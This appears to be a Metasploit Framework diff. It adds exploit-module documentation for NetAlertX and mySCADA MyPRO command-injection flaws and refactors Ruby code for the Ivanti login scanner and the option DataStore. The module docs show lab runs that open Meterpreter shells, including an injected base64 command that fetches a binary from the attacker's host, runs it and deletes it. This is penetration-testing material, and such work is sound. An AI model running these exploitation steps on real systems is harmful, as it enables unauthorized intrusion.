||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 24.9.12 detected.
|
||||
[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
|
||||
[*] Waiting settings really updated...
|
||||
[*] Sending stage (3045380 bytes) to 192.168.56.17
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
|
||||
[*] Added the payload to the queue. Waiting for the payload to run...
|
||||
[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.17
|
||||
OS : (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,61 @@
|
||||
## Vulnerable Application
|
||||
|
||||
**Vulnerability Description**
|
||||
|
||||
This module exploits a command injection vulnerability in mySCADA MyPRO Manager <= v1.2 (CVE-2024-47407).
|
||||
|
||||
An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of
|
||||
`myscada9`, an administrative user that is automatically added by the product during installation.
|
||||
|
||||
Versions <= 1.2 are affected. CISA published [ICSA-24-326-07](https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07) to cover
|
||||
the security issues. The official changelog from the vendor for the updated version is available
|
||||
[here](https://www.myscada.org/docs/5-11-2024/).
|
||||
|
||||
**Vulnerable Application Installation**
|
||||
|
||||
A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/).
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- mySCADA MyPRO Manager 1.2 on Windows 11 (10.0 Build 22621)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
|
||||
3. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/scada/mypro_mgr_cmd
|
||||
msf6 exploit(windows/scada/mypro_mgr_cmd) > set RHOSTS <IP>
|
||||
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
|
||||
```
|
||||
|
||||
You should get a meterpreter session in the context of `myscada9`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the exploit against MyPRO Manager v1.2 on Windows 11, using curl as a fetch command, should result in an output similar to the
|
||||
following:
|
||||
|
||||
```
|
||||
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.227:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Sending stage (201798 bytes) to 192.168.1.228
|
||||
[*] Meterpreter session 1 opened (192.168.1.227:4444 -> 192.168.1.228:50472) at 2025-01-29 12:38:39 -0500
|
||||
[*] Exploit finished, check thy shell.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: asdf\myscada9
|
||||
meterpreter > sysinfo
|
||||
Computer : asdf
|
||||
OS : Windows 11 (10.0 Build 22621).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 3
|
||||
Meterpreter : x64/windows
|
||||
```
|
||||
@@ -8,11 +8,34 @@ module Metasploit
|
||||
# - Admin Login
|
||||
class Ivanti < HTTP
|
||||
|
||||
DEFAULT_SSL_PORT = 443
|
||||
LIKELY_PORTS = [443]
|
||||
LIKELY_SERVICE_NAMES = [
|
||||
'Ivanti Connect Secure'
|
||||
]
|
||||
PRIVATE_TYPES = [:password]
|
||||
REALM_KEY = nil
|
||||
|
||||
def initialize(scanner_config, admin)
|
||||
@admin = admin
|
||||
super(scanner_config)
|
||||
end
|
||||
|
||||
def check_setup
|
||||
request_params = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/dana-na/auth/url_default/welcome.cgi')
|
||||
}
|
||||
|
||||
res = send_request(request_params)
|
||||
|
||||
if res && res.code == 200 && res.body&.include?('Ivanti Connect Secure')
|
||||
return false
|
||||
end
|
||||
|
||||
'Application might not be Ivanti Connect Secure, please check'
|
||||
end
|
||||
|
||||
def create_admin_request(username, password, token, protocol, peer)
|
||||
{
|
||||
'method' => 'POST',
|
||||
@@ -73,6 +96,8 @@ module Metasploit
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location')
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm'
|
||||
|
||||
if res.headers['location'] == '/dana-admin/misc/admin.cgi'
|
||||
@@ -122,7 +147,7 @@ module Metasploit
|
||||
end
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if res.blank?
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location')
|
||||
|
||||
if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=ip%2Dblocked'
|
||||
sleep(2 * 60) # 2 minutes
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.4.48"
|
||||
VERSION = "6.4.50"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -623,7 +623,7 @@ class ReadableText
|
||||
)
|
||||
options.sort_by(&:name).each do |opt|
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
if mod.datastore.is_a?(Msf::DataStore)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
|
||||
@@ -202,6 +202,8 @@ Shell Banner:
|
||||
tbl << [key, value]
|
||||
end
|
||||
|
||||
tbl << ['.<command>', "Prefix any built-in command on this list with a '.' to execute in the underlying shell (ex: .help)"]
|
||||
|
||||
print(tbl.to_s)
|
||||
print("For more info on a specific command, use %grn<command> -h%clr or %grnhelp <command>%clr.\n\n")
|
||||
end
|
||||
@@ -607,8 +609,13 @@ Shell Banner:
|
||||
end
|
||||
|
||||
# Built-in command
|
||||
if commands.key?(method)
|
||||
return run_builtin_cmd(method, arguments)
|
||||
if commands.key?(method) or ( not method.nil? and method[0] == '.' and commands.key?(method[1..-1]))
|
||||
# Handle overlapping built-ins with actual shell commands by prepending '.'
|
||||
if method[0] == '.' and commands.key?(method[1..-1])
|
||||
return shell_write(cmd[1..-1] + command_termination)
|
||||
else
|
||||
return run_builtin_cmd(method, arguments)
|
||||
end
|
||||
end
|
||||
|
||||
# User input is not a built-in command, write to socket directly
|
||||
|
||||
+292
-97
@@ -3,40 +3,61 @@ module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# The data store is just a bitbucket that holds keyed values. It is used
|
||||
# The data store is just a bitbucket that holds keyed values. It is used
|
||||
# by various classes to hold option values and other state information.
|
||||
#
|
||||
###
|
||||
class DataStore < Hash
|
||||
class DataStore
|
||||
|
||||
# Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation.
|
||||
# The global framework datastore doesn't currently import options
|
||||
# For now, store an ad-hoc list of keys that the shell handles
|
||||
#
|
||||
# This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks`
|
||||
# class instead, if the feature is enabled
|
||||
def self.new
|
||||
if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
return Msf::DataStoreWithFallbacks.new
|
||||
end
|
||||
|
||||
instance = allocate
|
||||
instance.send(:initialize)
|
||||
instance
|
||||
end
|
||||
# This list could be removed if framework's bootup sequence registers
|
||||
# these as datastore options
|
||||
GLOBAL_KEYS = %w[
|
||||
ConsoleLogging
|
||||
LogLevel
|
||||
MinimumRank
|
||||
SessionLogging
|
||||
TimestampOutput
|
||||
Prompt
|
||||
PromptChar
|
||||
PromptTimeFormat
|
||||
MeterpreterPrompt
|
||||
SessionTlvLogging
|
||||
]
|
||||
|
||||
#
|
||||
# Initializes the data store's internal state.
|
||||
#
|
||||
def initialize()
|
||||
def initialize
|
||||
@options = Hash.new
|
||||
@aliases = Hash.new
|
||||
@imported = Hash.new
|
||||
@imported_by = Hash.new
|
||||
|
||||
# default values which will be referenced when not defined by the user
|
||||
@defaults = Hash.new
|
||||
|
||||
# values explicitly defined, which take precedence over default values
|
||||
@user_defined = Hash.new
|
||||
end
|
||||
|
||||
# @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc
|
||||
attr_accessor :options
|
||||
attr_accessor :aliases
|
||||
attr_accessor :imported
|
||||
attr_accessor :imported_by
|
||||
|
||||
#
|
||||
# Returns a hash of user-defined datastore values. The returned hash does
|
||||
# not include default option values.
|
||||
#
|
||||
# @return [Hash<String, Object>] values explicitly defined on the data store which will override any default datastore values
|
||||
attr_accessor :user_defined
|
||||
|
||||
#
|
||||
# Was this entry actually set or just using its default
|
||||
#
|
||||
# @return [TrueClass, FalseClass]
|
||||
def default?(key)
|
||||
search_for(key).default?
|
||||
end
|
||||
|
||||
#
|
||||
# Clears the imported flag for the supplied key since it's being set
|
||||
@@ -44,8 +65,6 @@ class DataStore < Hash
|
||||
#
|
||||
def []=(k, v)
|
||||
k = find_key_case(k)
|
||||
@imported[k] = false
|
||||
@imported_by[k] = nil
|
||||
|
||||
opt = @options[k]
|
||||
unless opt.nil?
|
||||
@@ -57,49 +76,76 @@ class DataStore < Hash
|
||||
end
|
||||
end
|
||||
|
||||
super(k,v)
|
||||
@user_defined[k] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around hash lookup
|
||||
#
|
||||
def [](k)
|
||||
super(find_key_case(k))
|
||||
search_result = search_for(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around store
|
||||
# Case-insensitive wrapper around store; Skips option validation entirely
|
||||
#
|
||||
def store(k,v)
|
||||
super(find_key_case(k), v)
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around delete
|
||||
#
|
||||
def delete(k)
|
||||
@aliases.delete_if { |_, v| v.casecmp(k) == 0 }
|
||||
super(find_key_case(k))
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Updates a value in the datastore with the specified name, k, to the
|
||||
# specified value, v. This update does not alter the imported status of
|
||||
# the value.
|
||||
# specified value, v. Skips option validation entirely.
|
||||
#
|
||||
def update_value(k, v)
|
||||
self.store(k, v)
|
||||
store(k, v)
|
||||
end
|
||||
|
||||
#
|
||||
# unset the current key from the datastore
|
||||
# @param [String] key The key to search for
|
||||
def unset(key)
|
||||
k = find_key_case(key)
|
||||
search_result = search_for(k)
|
||||
@user_defined.delete(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
# @deprecated use #{unset} instead, or set the value explicitly to nil
|
||||
# @param [String] key The key to search for
|
||||
def delete(key)
|
||||
unset(key)
|
||||
end
|
||||
|
||||
#
|
||||
# Removes an option and any associated value
|
||||
#
|
||||
# @param [String] name the option name
|
||||
# @return [nil]
|
||||
def remove_option(name)
|
||||
k = find_key_case(name)
|
||||
@user_defined.delete(k)
|
||||
@aliases.delete_if { |_, v| v.casecmp?(k) }
|
||||
@options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) }
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# This method is a helper method that imports the default value for
|
||||
# all of the supplied options
|
||||
#
|
||||
def import_options(options, imported_by = nil, overwrite = false)
|
||||
options.each_option do |name, opt|
|
||||
if self[name].nil? || overwrite
|
||||
import_option(name, opt.default, true, imported_by, opt)
|
||||
def import_options(options, imported_by = nil, overwrite = true)
|
||||
options.each_option do |name, option|
|
||||
if self.options[name].nil? || overwrite
|
||||
key = name
|
||||
option.aliases.each do |a|
|
||||
@aliases[a.downcase] = key.downcase
|
||||
end
|
||||
@options[key] = option
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -142,22 +188,32 @@ class DataStore < Hash
|
||||
hash[var] = val
|
||||
}
|
||||
|
||||
import_options_from_hash(hash)
|
||||
merge!(hash)
|
||||
end
|
||||
|
||||
#
|
||||
# Imports options from a hash and stores them in the datastore.
|
||||
# Imports values from a hash and stores them in the datastore.
|
||||
#
|
||||
# @deprecated use {#merge!} instead
|
||||
# @return [nil]
|
||||
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
|
||||
option_hash.each_pair { |key, val|
|
||||
import_option(key, val, imported, imported_by)
|
||||
}
|
||||
merge!(option_hash)
|
||||
end
|
||||
|
||||
# Update defaults from a hash. These merged values are not validated by default.
|
||||
#
|
||||
# @param [Hash<String, Object>] hash The default values that should be used by the datastore
|
||||
# @param [Object] imported_by Who imported the defaults, not currently used
|
||||
# @return [nil]
|
||||
def import_defaults_from_hash(hash, imported_by:)
|
||||
@defaults.merge!(hash)
|
||||
end
|
||||
|
||||
# TODO: Doesn't normalize data in the same vein as:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/6644
|
||||
# @deprecated Use {#import_options}
|
||||
def import_option(key, val, imported = true, imported_by = nil, option = nil)
|
||||
self.store(key, val)
|
||||
store(key, val)
|
||||
|
||||
if option
|
||||
option.aliases.each do |a|
|
||||
@@ -165,10 +221,32 @@ class DataStore < Hash
|
||||
end
|
||||
end
|
||||
@options[key] = option
|
||||
@imported[key] = imported
|
||||
@imported_by[key] = imported_by
|
||||
end
|
||||
|
||||
# @return [Array<String>] The array of user defined datastore values, and registered option names
|
||||
def keys
|
||||
(@user_defined.keys + @options.keys).uniq(&:downcase)
|
||||
end
|
||||
|
||||
# @return [Integer] The length of the registered keys
|
||||
def length
|
||||
keys.length
|
||||
end
|
||||
|
||||
alias count length
|
||||
alias size length
|
||||
|
||||
# @param [String] key
|
||||
# @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise.
|
||||
def key?(key)
|
||||
matching_key = find_key_case(key)
|
||||
keys.include?(matching_key)
|
||||
end
|
||||
|
||||
alias has_key? key?
|
||||
alias include? key?
|
||||
alias member? key?
|
||||
|
||||
#
|
||||
# Serializes the options in the datastore to a string.
|
||||
#
|
||||
@@ -179,7 +257,7 @@ class DataStore < Hash
|
||||
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
|
||||
}
|
||||
|
||||
return str
|
||||
str
|
||||
end
|
||||
|
||||
# Override Hash's to_h method so we can include the original case of each key
|
||||
@@ -225,7 +303,7 @@ class DataStore < Hash
|
||||
ini.add_group(name)
|
||||
|
||||
# Save all user-defined options to the file.
|
||||
user_defined.each_pair { |k, v|
|
||||
@user_defined.each_pair { |k, v|
|
||||
ini[name][k] = v
|
||||
}
|
||||
|
||||
@@ -243,73 +321,73 @@ class DataStore < Hash
|
||||
return
|
||||
end
|
||||
|
||||
if (ini.group?(name))
|
||||
import_options_from_hash(ini[name], false)
|
||||
if ini.group?(name)
|
||||
merge!(ini[name])
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return a deep copy of this datastore.
|
||||
#
|
||||
# Return a copy of this datastore. Only string values will be duplicated, other values
|
||||
# will share the same reference
|
||||
# @return [Msf::DataStore] a new datastore instance
|
||||
def copy
|
||||
ds = self.class.new
|
||||
self.keys.each do |k|
|
||||
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
|
||||
end
|
||||
ds.aliases = self.aliases.dup
|
||||
ds
|
||||
new_instance = self.class.new
|
||||
new_instance.copy_state(self)
|
||||
new_instance
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge! so that we merge the aliases and imported hashes
|
||||
# Merge the other object into the current datastore's aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore, Hash] other
|
||||
def merge!(other)
|
||||
if other.is_a? DataStore
|
||||
if other.is_a?(DataStore)
|
||||
self.aliases.merge!(other.aliases)
|
||||
self.imported.merge!(other.imported)
|
||||
self.imported_by.merge!(other.imported_by)
|
||||
self.options.merge!(other.options)
|
||||
self.defaults.merge!(other.defaults)
|
||||
other.user_defined.each do |k, v|
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
else
|
||||
other.each do |k, v|
|
||||
self.store(k, v)
|
||||
end
|
||||
end
|
||||
# call super last so that we return a reference to ourselves
|
||||
super
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
alias update merge!
|
||||
|
||||
#
|
||||
# Reverse Merge the other object into the current datastore's aliases and imported hashes
|
||||
# Equivalent to ActiveSupport's reverse_merge! functionality.
|
||||
#
|
||||
# @param [Msf::Datastore] other
|
||||
def reverse_merge!(other)
|
||||
raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStore)
|
||||
|
||||
copy_state(other.merge(self))
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge to ensure we merge the aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore,Hash] other
|
||||
def merge(other)
|
||||
ds = self.copy
|
||||
ds.merge!(other)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash of user-defined datastore values. The returned hash does
|
||||
# not include default option values.
|
||||
#
|
||||
def user_defined
|
||||
reject { |k, v|
|
||||
@imported[k] == true
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Remove all imported options from the data store.
|
||||
#
|
||||
def clear_non_user_defined
|
||||
@imported.delete_if { |k, v|
|
||||
if (v and @imported_by[k] != 'self')
|
||||
self.delete(k)
|
||||
@imported_by.delete(k)
|
||||
end
|
||||
|
||||
v
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Completely clear all values in the hash
|
||||
# Completely clear all values in the data store
|
||||
#
|
||||
def clear
|
||||
self.keys.each {|k| self.delete(k) }
|
||||
self.options.clear
|
||||
self.aliases.clear
|
||||
self.defaults.clear
|
||||
self.user_defined.clear
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
@@ -325,28 +403,145 @@ class DataStore < Hash
|
||||
list.each(&block)
|
||||
end
|
||||
|
||||
alias each_pair each
|
||||
|
||||
def each_key(&block)
|
||||
self.keys.each(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive key lookup
|
||||
#
|
||||
# @return [String]
|
||||
def find_key_case(k)
|
||||
|
||||
# Scan each alias looking for a key
|
||||
search_k = k.downcase
|
||||
if self.aliases.has_key?(search_k)
|
||||
search_k = self.aliases[search_k]
|
||||
end
|
||||
|
||||
# Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity
|
||||
if @user_defined.key?(search_k) || options.key?(search_k)
|
||||
return search_k
|
||||
end
|
||||
|
||||
# Scan each key looking for a match
|
||||
self.each_key do |rk|
|
||||
each_key do |rk|
|
||||
if rk.casecmp(search_k) == 0
|
||||
return rk
|
||||
end
|
||||
end
|
||||
|
||||
# Fall through to the non-existent value
|
||||
return k
|
||||
k
|
||||
end
|
||||
|
||||
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
|
||||
#
|
||||
# @param [String] key The key to search for
|
||||
# @return [DataStoreSearchResult]
|
||||
def search_for(key)
|
||||
k = find_key_case(key)
|
||||
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
|
||||
|
||||
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
|
||||
if option
|
||||
# If the key isn't present - check any additional fallbacks that have been registered with the option.
|
||||
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
|
||||
# generic 'Username' fallback
|
||||
option.fallbacks.each do |fallback|
|
||||
fallback_search = search_for(fallback)
|
||||
if fallback_search.found?
|
||||
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Checking for imported default values, ignoring case again
|
||||
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
|
||||
return search_result(:imported_default, imported_default_match.last) if imported_default_match
|
||||
return search_result(:option_default, option.default) if option
|
||||
|
||||
search_result(:not_found, nil)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# These defaults will be used if the user has not explicitly defined a specific datastore value.
|
||||
# These will be checked as a priority to any options that also provide defaults.
|
||||
#
|
||||
# @return [Hash{String => Msf::OptBase}] The hash of default values
|
||||
attr_accessor :defaults
|
||||
|
||||
# @return [Hash{String => String}] The key is the old option name, the value is the new option name
|
||||
attr_accessor :aliases
|
||||
|
||||
#
|
||||
# Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than
|
||||
# imported and user_defined strings.
|
||||
#
|
||||
# @param [Msf::DataStore] other The other datastore to copy state from
|
||||
# @return [Msf::DataStore] the current datastore instance
|
||||
def copy_state(other)
|
||||
self.options = other.options.dup
|
||||
self.aliases = other.aliases.dup
|
||||
self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Raised when the specified key is not found
|
||||
# @param [string] key
|
||||
def key_error_for(key)
|
||||
::KeyError.new "key not found: #{key.inspect}"
|
||||
end
|
||||
|
||||
#
|
||||
# Simple dataclass for storing the result of a datastore search
|
||||
#
|
||||
class DataStoreSearchResult
|
||||
# @return [String, nil] the key associated with the fallback value
|
||||
attr_reader :fallback_key
|
||||
|
||||
# @return [object, nil] The value if found
|
||||
attr_reader :value
|
||||
|
||||
def initialize(result, value, namespace: nil, fallback_key: nil)
|
||||
@namespace = namespace
|
||||
@result = result
|
||||
@value = value
|
||||
@fallback_key = fallback_key
|
||||
end
|
||||
|
||||
def default?
|
||||
result == :imported_default || result == :option_default || !found?
|
||||
end
|
||||
|
||||
def found?
|
||||
result != :not_found
|
||||
end
|
||||
|
||||
def fallback?
|
||||
result == :option_fallback
|
||||
end
|
||||
|
||||
def global?
|
||||
namespace == :global_data_store && found?
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore
|
||||
attr_reader :namespace
|
||||
|
||||
# @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default`
|
||||
attr_reader :result
|
||||
end
|
||||
|
||||
def search_result(result, value, fallback_key: nil)
|
||||
DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -1,547 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# The data store is just a bitbucket that holds keyed values. It is used
|
||||
# by various classes to hold option values and other state information.
|
||||
#
|
||||
###
|
||||
class DataStoreWithFallbacks
|
||||
|
||||
# The global framework datastore doesn't currently import options
|
||||
# For now, store an ad-hoc list of keys that the shell handles
|
||||
#
|
||||
# This list could be removed if framework's bootup sequence registers
|
||||
# these as datastore options
|
||||
GLOBAL_KEYS = %w[
|
||||
ConsoleLogging
|
||||
LogLevel
|
||||
MinimumRank
|
||||
SessionLogging
|
||||
TimestampOutput
|
||||
Prompt
|
||||
PromptChar
|
||||
PromptTimeFormat
|
||||
MeterpreterPrompt
|
||||
SessionTlvLogging
|
||||
]
|
||||
|
||||
#
|
||||
# Initializes the data store's internal state.
|
||||
#
|
||||
def initialize
|
||||
@options = Hash.new
|
||||
@aliases = Hash.new
|
||||
|
||||
# default values which will be referenced when not defined by the user
|
||||
@defaults = Hash.new
|
||||
|
||||
# values explicitly defined, which take precedence over default values
|
||||
@user_defined = Hash.new
|
||||
end
|
||||
|
||||
# @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc
|
||||
attr_accessor :options
|
||||
|
||||
#
|
||||
# Returns a hash of user-defined datastore values. The returned hash does
|
||||
# not include default option values.
|
||||
#
|
||||
# @return [Hash<String, Object>] values explicitly defined on the data store which will override any default datastore values
|
||||
attr_accessor :user_defined
|
||||
|
||||
#
|
||||
# Was this entry actually set or just using its default
|
||||
#
|
||||
# @return [TrueClass, FalseClass]
|
||||
def default?(key)
|
||||
search_for(key).default?
|
||||
end
|
||||
|
||||
#
|
||||
# Clears the imported flag for the supplied key since it's being set
|
||||
# directly.
|
||||
#
|
||||
def []=(k, v)
|
||||
k = find_key_case(k)
|
||||
|
||||
opt = @options[k]
|
||||
unless opt.nil?
|
||||
if opt.validate_on_assignment?
|
||||
unless opt.valid?(v, check_empty: false)
|
||||
raise Msf::OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"])
|
||||
end
|
||||
v = opt.normalize(v)
|
||||
end
|
||||
end
|
||||
|
||||
@user_defined[k] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around hash lookup
|
||||
#
|
||||
def [](k)
|
||||
search_result = search_for(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around store; Skips option validation entirely
|
||||
#
|
||||
def store(k,v)
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Updates a value in the datastore with the specified name, k, to the
|
||||
# specified value, v. Skips option validation entirely.
|
||||
#
|
||||
def update_value(k, v)
|
||||
store(k, v)
|
||||
end
|
||||
|
||||
#
|
||||
# unset the current key from the datastore
|
||||
# @param [String] key The key to search for
|
||||
def unset(key)
|
||||
k = find_key_case(key)
|
||||
search_result = search_for(k)
|
||||
@user_defined.delete(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
# @deprecated use #{unset} instead, or set the value explicitly to nil
|
||||
# @param [String] key The key to search for
|
||||
def delete(key)
|
||||
unset(key)
|
||||
end
|
||||
|
||||
#
|
||||
# Removes an option and any associated value
|
||||
#
|
||||
# @param [String] name the option name
|
||||
# @return [nil]
|
||||
def remove_option(name)
|
||||
k = find_key_case(name)
|
||||
@user_defined.delete(k)
|
||||
@aliases.delete_if { |_, v| v.casecmp?(k) }
|
||||
@options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) }
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# This method is a helper method that imports the default value for
|
||||
# all of the supplied options
|
||||
#
|
||||
def import_options(options, imported_by = nil, overwrite = true)
|
||||
options.each_option do |name, option|
|
||||
if self.options[name].nil? || overwrite
|
||||
key = name
|
||||
option.aliases.each do |a|
|
||||
@aliases[a.downcase] = key.downcase
|
||||
end
|
||||
@options[key] = option
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Imports option values from a whitespace separated string in
|
||||
# VAR=VAL format.
|
||||
#
|
||||
def import_options_from_s(option_str, delim = nil)
|
||||
hash = {}
|
||||
|
||||
# Figure out the delimiter, default to space.
|
||||
if (delim.nil?)
|
||||
delim = /\s/
|
||||
|
||||
if (option_str.split('=').length <= 2 or option_str.index(',') != nil)
|
||||
delim = ','
|
||||
end
|
||||
end
|
||||
|
||||
# Split on the delimiter
|
||||
option_str.split(delim).each { |opt|
|
||||
var, val = opt.split('=', 2)
|
||||
|
||||
next if (var =~ /^\s+$/)
|
||||
|
||||
|
||||
# Invalid parse? Raise an exception and let those bastards know.
|
||||
if (var == nil or val == nil)
|
||||
var = "unknown" if (!var)
|
||||
|
||||
raise Rex::ArgumentParseError, "Invalid option specified: #{var}",
|
||||
caller
|
||||
end
|
||||
|
||||
# Remove trailing whitespaces from the value
|
||||
val.gsub!(/\s+$/, '')
|
||||
|
||||
# Store the value
|
||||
hash[var] = val
|
||||
}
|
||||
|
||||
merge!(hash)
|
||||
end
|
||||
|
||||
#
|
||||
# Imports values from a hash and stores them in the datastore.
|
||||
#
|
||||
# @deprecated use {#merge!} instead
|
||||
# @return [nil]
|
||||
